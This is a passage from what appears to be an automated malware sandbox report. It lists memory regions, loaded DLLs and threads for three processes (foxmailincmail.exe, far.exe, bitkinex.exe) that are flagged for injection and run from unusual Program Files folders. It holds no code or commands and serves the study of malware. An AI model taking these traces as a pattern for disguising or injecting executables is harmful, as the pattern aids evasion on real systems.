"private_0x000000007fff0000" filename = "" Region: id = 4705 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4706 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4707 start_va = 0x640000 end_va = 0x643fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 4708 start_va = 0x650000 end_va = 0x650fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 4709 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4710 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4711 start_va = 0x4f0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 4712 start_va = 0xb40000 end_va = 0xb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b40000" filename = "" Region: id = 4713 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4714 start_va = 0xb50000 end_va = 0xb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b50000" filename = "" Region: id = 4715 start_va = 0xb90000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 4716 start_va = 0xc80000 end_va = 0xfb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 235 os_tid = 0xebc Thread: id = 236 os_tid = 0xeb0 Thread: id = 375 os_tid = 0x418 Process: id = "47" image_name = "foxmailincmail.exe" filename = "c:\\program files\\uninstall information\\foxmailincmail.exe" page_root = "0x745bc000" os_pid = "0xe9c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Uninstall Information\\foxmailincmail.exe\" " cur_dir = "C:\\Program Files\\Uninstall Information\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4717 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4718 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4719 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4720 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4721 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4722 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4723 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4724 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4725 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4726 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4727 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 4728 start_va = 0x4c0000 end_va = 0x57dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4729 start_va = 0x580000 end_va = 0x583fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 4730 start_va = 0x690000 end_va = 0x693fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 4731 start_va = 0x710000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 4732 start_va = 0x810000 end_va = 0x997fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 4733 start_va = 0x9a0000 end_va = 0xb20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 4734 start_va = 0xb30000 end_va = 0xbebfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 4735 start_va = 0xcb0000 end_va = 0xcbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 4736 start_va = 0xe60000 end_va = 0xe6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 4737 start_va = 0x11a0000 end_va = 0x11b6fff monitored = 0 entry_point = 0x11a14a1 region_type = mapped_file name = "foxmailincmail.exe" filename = "\\Program Files\\Uninstall Information\\foxmailincmail.exe" (normalized: "c:\\program files\\uninstall information\\foxmailincmail.exe") Region: id = 4738 start_va = 0x11c0000 end_va = 0x25bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011c0000" filename = "" Region: id = 4739 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4740 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4741 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4742 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4743 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4744 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4745 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4746 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4747 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4748 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4749 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4750 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4751 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4752 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4753 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4754 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4755 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4756 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4757 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4758 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4759 start_va = 0x7f790000 end_va = 0x7f88ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f790000" filename = "" Region: id = 4760 start_va = 0x7f890000 end_va = 0x7f8b2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f890000" filename = "" Region: id = 4761 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4762 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4763 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4764 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4765 start_va = 0x590000 end_va = 0x593fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 4766 start_va = 0x5a0000 end_va = 0x5a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 4767 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4768 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4769 start_va = 0xcc0000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 4770 start_va = 0x5b0000 end_va = 0x5b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 4771 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4772 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 4773 start_va = 0x5c0000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 4774 start_va = 0x25c0000 end_va = 0x28f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 237 os_tid = 0xea8 Thread: id = 238 os_tid = 0xea0 Thread: id = 376 os_tid = 0x98c Process: id = "48" image_name = "far.exe" filename = "c:\\program files\\windows journal\\far.exe" page_root = "0x1c94000" os_pid = "0xe6c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows Journal\\far.exe\" " cur_dir = "C:\\Program Files\\Windows Journal\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4949 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4950 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4951 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4952 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4953 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4954 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4955 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4956 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4957 start_va = 0x200000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4958 start_va = 0x210000 end_va = 0x2cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4959 start_va = 0x2d0000 end_va = 0x2d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 4960 start_va = 0x3c0000 end_va = 0x3d6fff monitored = 0 entry_point = 0x3c14a1 region_type = mapped_file name = "far.exe" filename = "\\Program Files\\Windows Journal\\far.exe" (normalized: "c:\\program files\\windows journal\\far.exe") Region: id = 4961 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4962 start_va = 0x700000 end_va = 0x887fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 4963 start_va = 0x8a0000 end_va = 0x8a3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 4964 start_va = 0x8b0000 end_va = 0x8b3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 4965 start_va = 0x910000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 4966 start_va = 0xa10000 end_va = 0xb90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 4967 start_va = 0xba0000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ba0000" filename = "" Region: id = 4968 start_va = 0x2020000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 4969 start_va = 0x2060000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 4970 start_va = 0x2070000 end_va = 0x212bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002070000" filename = "" Region: id = 4971 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4972 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4973 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4974 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4975 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4976 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4977 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4978 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4979 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4980 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4981 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4982 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4983 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4984 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4985 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4986 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4987 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4988 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4989 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4990 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4991 start_va = 0x7f750000 end_va = 0x7f84ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f750000" filename = "" Region: id = 4992 start_va = 0x7f850000 end_va = 0x7f872fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f850000" filename = "" Region: id = 4993 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4994 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4995 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4996 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4997 start_va = 0x8c0000 end_va = 0x8c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 4998 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 4999 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5000 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5001 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 5002 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 5003 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5939 start_va = 0x8f0000 end_va = 0x8f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 5940 start_va = 0x1fa0000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 5941 start_va = 0x2130000 end_va = 0x2466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 239 os_tid = 0xe78 Thread: id = 240 os_tid = 0xe70 Thread: id = 380 os_tid = 0xc74 Process: id = "49" image_name = "bitkinex.exe" filename = "c:\\program files\\msbuild\\bitkinex.exe" page_root = "0x6ae80000" os_pid = "0xe54" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\MSBuild\\bitkinex.exe\" " cur_dir = "C:\\Program Files\\MSBuild\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5052 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5053 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5054 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5055 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5056 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5057 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 5058 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = 